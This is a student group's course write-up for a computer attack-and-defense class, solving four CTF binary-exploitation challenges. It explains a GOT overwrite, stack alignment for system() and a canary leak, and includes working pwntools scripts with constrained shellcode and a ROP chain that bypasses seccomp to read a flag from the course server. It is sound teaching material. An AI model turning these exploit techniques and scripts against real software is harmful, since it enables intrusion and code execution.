---
# System prepended metadata

title: 電腦攻防 project1
tags: [Course - The Attack and Defense of Computers]

---

電腦攻防 project1 
=
###### tags: `Course - The Attack and Defense of Computers`

## 小組名單 - 第10組
108502530 曹鈞翔
108502532 丁麒源
108502533 廖宥霖

## Helloworld_again
### Difference: system() and execve()
execve(“/bin/sh”,0,0)是一個system call，它是在一個單獨的程序中執行，所以後來執行的程序會把之前的蓋掉，不管如何都回不到execve之後的code

system(“/bin/sh”)的內容是fork + execve + waitpid，所以bin/sh會在一個新的thread中執行，執行完後可以回到原本system底下的code

至於為何helloowrld_again中，需要直接執行system那行，不能從function開始處執行，是因為system()函式中會調用到

movaps XMMWORD PTR [rsp+0x50], xmm0

這行asm code
在 64 bits 環境下，有些glibc版本會預設stack位址要對齊16bytes，即rsp的值要能被16整除，且rsp最後一碼必須為0

而helloowrld_again中的helloworld函式開頭的兩行指令就會造成rsp不對齊16bytes

若不直接跳到system那行而選擇從頭執行，可以在ret到這個函式前先呼叫另一個位址的ret，這樣可以讓rsp位址-8(pop)，就符合對齊16bytes的規定了


## Cyberpsychosis
透過把某個function的GOT改成system()的位址，在call該function的時候就會變成call system()，此時輸入'/bin/sh'就可以呼叫shell
### 已知條件
implants在 0x4050E0
每個index分別在implant + 80 * index
implant name在implant + 80 * index + 32
透過disasmbly發現read()的GOT在implant + 80 * -2的位置(implant[-2])
填入value前會call atol()
atol()的GOT在implant name[-2] + 8

### 取得read()的got address
要在show_info印出資訊，需要先填入value。
先進入edit_info輸入-2，輸入任意合理範圍的name和value，再進show_info輸入-2則會在limbs的位置印出read()的got address。

### 計算system的address
system address = read address - read offset + system offset

### 改寫GOT
進入edit_info輸入-2，在name輸入8bytes padding + system address，成功把atol()改寫成system()，在value輸入"/bin/sh"，就會變成call system(/bin/sh)，就可以開啟shell了。

### Code
![](https://i.imgur.com/jFDwARD.png)
### 結果
![](https://i.imgur.com/BXObH9e.png)


## Modohayaku

### 題目限制

輸入的字串中，從0開始包含0，每11個數往下數2位分別要是0xc, 0x87, 0x63，且字串中不能有NOP

### shellcode相關

為了避免0x63影響到正常需要執行的shellcode，在其後添加一個不影響正常執行的數字

並在shellcode中使用jmp指令來跳過填充指令，使最後執行時只會執行到我們需要的部分

我使用的syscall為sys_execve 要求為 rax = 59 rsi,rdx=0 rdi=要執行的檔案名稱

### 找到bin/sh

透過gdb查找放在最後的bin/sh位置
![](https://i.imgur.com/jWfQP0c.png)

![](https://i.imgur.com/nFGhdTS.png)

將rdi改成bin/sh位置即完成此題

![](https://i.imgur.com/sgANWhv.png)

```python = 

context.arch='amd64'

#r = process('./modohayaku')

r = remote("ctf.adl.tw", 10002)

myshellcode =bytearray(
  asm(
    """
    nop
    nop
    nop
    nop
    xor rsi, rsi
    jmp $+8
    or al, 0x0
    nop
    nop
    nop
    nop
    mov rdi, rbp
    jmp $+8
    or al, 0x0
    nop
    nop
    nop
    nop
    sub rdi, 0x8c
    nop
    nop
    nop
    nop
    xor rsi, rsi
    jmp $+8
    or al, 0x0
    nop
    nop
    nop
    mov rdx, rsi
    mov al, 0x3b
    jmp $+7
    push rax
    nop
    nop
    nop
    push rax
    syscall
    jmp $+7
    xor rsi, rsi
    nop
    nop
    nop   
    """
  )
)

for i in range(0,len(myshellcode),11):
    if i<= len(myshellcode):
        if myshellcode[i] !=0xc:
            myshellcode[i] =0xc
    if i+1<= len(myshellcode):
        if myshellcode[i+1] !=0x87:
            myshellcode[i+1] =0x87
    if i+2<= len(myshellcode):
        if myshellcode[i+2] !=0x63:
            myshellcode[i+2] =0x63
    if i+3 != len(myshellcode):
        if myshellcode[i+3] !=0x13:
            myshellcode[i+3] =0x13

myshellcode.pop()

bin = b'/bin/sh\0'

myshellcode = myshellcode+bin

myshellcode = bytes(myshellcode)

sendstr = myshellcode+b'\x01'*(0xb0-len(myshellcode))

bytesendstr = bytearray(sendstr)

for i in range(77,len(bytesendstr)-2,11):
    if i<= len(bytesendstr):
        if bytesendstr[i] !=0xc:
            bytesendstr[i] =0xc
    if i+1<= len(bytesendstr):
        if bytesendstr[i+1] !=0x87:
            bytesendstr[i+1] =0x87
    if i+2<= len(bytesendstr):
        if bytesendstr[i+2] !=0x63:
            bytesendstr[i+2] =0x63

ans = bytes(bytesendstr)

r.recvuntil('are!!!')

r.send(ans)

r.interactive()
```

## Test Subject 087

### 保護機制
* gef checksec()
![](https://i.imgur.com/ENoRako.png)
* seccomp-tools
![](https://i.imgur.com/jYUJBIq.png)

### 解題過程
1. 該題有canary和PIE，所以需要尋找漏洞來破解，在察看了經過反編譯的程式碼後，發現該程式有個地方會跟使用者要一個最長127 byte的字串，但buffer只有24 byte，所以可以用來overflow。
![](https://i.imgur.com/jcgE4Sn.png)
2. 而這個地方是個迴圈，跟使用者要輸入後會把剛剛輸入的東西印出來，所以可以利用這個特性把canary找出來，在觀察程式碼後發現canary就在buffer隔壁，所以只要輸入24 + 1個byte就能印出canary (加一個byte是因為canary的尾數是00，會終止printf)。
3. 下2次迴圈再如法炮製，把main的stack base和return address都找出來，如此便能確定stack和text的offset，最後一次迴圈把return address換成PLT中`puts()`的位置，並使用gadget把參數改成`puts()`在GOT的位置，目標是讓程式流程跳到`puts()`並洩漏出library的地址。
4. 在得到library的地址後我原本以為只要overflow成`system("/bin/sh")`就結束了，但是我遇到了bad system call這個錯誤，一時不知道該如何是好，等到Demo時助教給了提示後我才注意到原來這題有seccomp，所以`system()`是不能用的。
5. 然後我想說換成c內建的`open()`來讀檔案應該就行了，但試了之後發現c其實用的是`openat`，所以只能自行呼叫`open`才能解開此題，問題是我用ROPgadget沒有找到`syscall; ret`這個gadget，卡了一下，後來發現要使用`--multibr`這個參數才能找到同時有`syscall`和`ret`的gadget。
6. 由於程式中的`read()`只能讀127個byte，所以我就先讓程式流程跳到`read()`並給一個比較大的`count`參數，好讓我的payload可以全部寫進去。
7. 有個要注意的地方是linux的前三個file descriptor分別是stdin, stdout和stderr，所以`read()`的`fd`參數要設成3。
* 以下是找到的flag。
![](https://i.imgur.com/cLJEEvx.png)

### pwn tools code
```python=
# References:
# PWN 入門 - rop, gadget 是什麼？
# https://tech-blog.cymetrics.io/posts/crystal/pwn-intro-2/
# pwn题绕过canary保护机制新手版
# https://blog.csdn.net/RChaos/article/details/105147321
# 2020高校战役
# https://www.cnblogs.com/countfatcode/p/12516091.html

from pwn import *

context(os="linux", arch="amd64")
context.log_level = "INFO"

# p = process("Test_Subject_087")
p = remote('ctf.adl.tw', 10005)
exe = ELF("Test_Subject_087")
libc = ELF("libc-2.31.so")

# in code
challenge_next = 0x1dfb
g_pop_rdi_ret = 0x1eb3
# in library
g_syscall_ret = 0x630a9
g_pop_rax_ret = 0x36174
g_pop_rsi_ret = 0x2601f
g_pop_rdx_ret = 0x142c92

puts_got = exe.got['puts']
puts_plt = exe.plt['puts']
read_plt = exe.plt['read']
challenge = exe.sym['challenge']

canary = 0
main_ebp = 0
code_base = 0

is_canary_got = False
is_stack_got = False
is_add_got = False
is_libc_got = False

# insert 48 strings with length 127 to something_list
# 48 can be any number, the larger, the better
for i in range(48):
    p.sendafter(b'>', b'3')
    p.sendafter(b'>', b'2')
    p.sendafter(b'>', b'a' * 127)

# loose 3 times to enable hint mode
for i in range(28):
    p.sendafter(b'>', b'1')

# get canary and code base address then call puts(puts@got.plt)
p.sendafter(b'>', b'y')
for i in range(8):
    p.recvuntil(flat(b'has '))
    len = int(p.recvuntil(b' '))
    if len == 127:
        if is_canary_got == False:
            p.sendafter(b'>', b'a' * 24 + b'b')
            p.recvuntil(b'aab')
            canary = u64(p.recv(7).rjust(8, b'\x00'))
            is_canary_got = True
            print("canary: " + hex(canary))
        elif is_canary_got == True:
            if is_stack_got == False:
                p.sendafter(b'>', b'a' * 31 + b'b')
                p.recvuntil(b'aab')
                main_ebp = u64(p.recv(6).ljust(8, b'\x00'))
                is_stack_got = True
                print("main ebp: " + hex(main_ebp))
            elif is_stack_got == True:
                if is_add_got == False:
                    p.sendafter(b'>', b'a' * 39 + b'b')
                    p.recvuntil(b'aab')
                    code_base = u64(p.recv(6).ljust(8, b'\x00'))\
                        - challenge_next
                    is_add_got = True
                    print("code base: " + hex(code_base))
                elif is_add_got == True:
                    payload = b'a' * 24 + p64(canary) + b'a' * 8\
                        + p64(g_pop_rdi_ret + code_base)\
                        + p64(puts_got + code_base)\
                        + p64(puts_plt + code_base)\
                        + p64(challenge + code_base)
                    p.sendafter(b'>', payload)
                    is_libc_got = True
    elif len < 127:
        p.sendafter(b'>', b'1')

# receive lose image
p.recvuntil(b'You lose.\n')
for i in range(25):
    p.recvline()

# get address in got
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
open_libc = libc.sym['open']
print("libc: " + hex(libc.address))
if (is_canary_got == True and
    is_stack_got == True and
    is_add_got == True and
        is_libc_got == True):
    print("All got.")

# read()
p.sendafter(b'>', b'y')
for i in range(8):
    p.recvuntil(flat(b'has '))
    len = int(p.recvuntil(b' '))
    if len == 127:
        payload = b'a' * 24 + p64(canary) + b'a' * 8\
            + p64(g_pop_rdi_ret + code_base)\
            + p64(0)\
            + p64(g_pop_rsi_ret + libc.address)\
            + p64(main_ebp + 0x40)\
            + p64(g_pop_rdx_ret + libc.address)\
            + p64(184)\
            + p64(read_plt + code_base)
        p.sendafter(b'>', payload)
    elif len < 127:
        p.sendafter(b'>', b'1')

# receive lose image
p.recvuntil(b'You lose.\n')
for i in range(25):
    p.recvline()

# open()
payload = p64(g_pop_rdi_ret + code_base)\
    + p64(main_ebp + 0xd8)\
    + p64(g_pop_rsi_ret + libc.address)\
    + p64(0)\
    + p64(g_pop_rdx_ret + libc.address)\
    + p64(0)\
    + p64(g_pop_rax_ret + libc.address)\
    + p64(2)\
    + p64(g_syscall_ret + libc.address)
# read()
payload += p64(g_pop_rdi_ret + code_base)\
    + p64(3)\
    + p64(g_pop_rsi_ret + libc.address)\
    + p64(main_ebp + 0xf8)\
    + p64(g_pop_rdx_ret + libc.address)\
    + p64(64)\
    + p64(read_plt + code_base)
# puts()
payload += p64(g_pop_rdi_ret + code_base)\
    + p64(main_ebp + 0xf8)\
    + p64(puts_plt + code_base)\
    + b'/home/test_subject_087/flag\x00'

p.send(payload)

p.interactive()
```
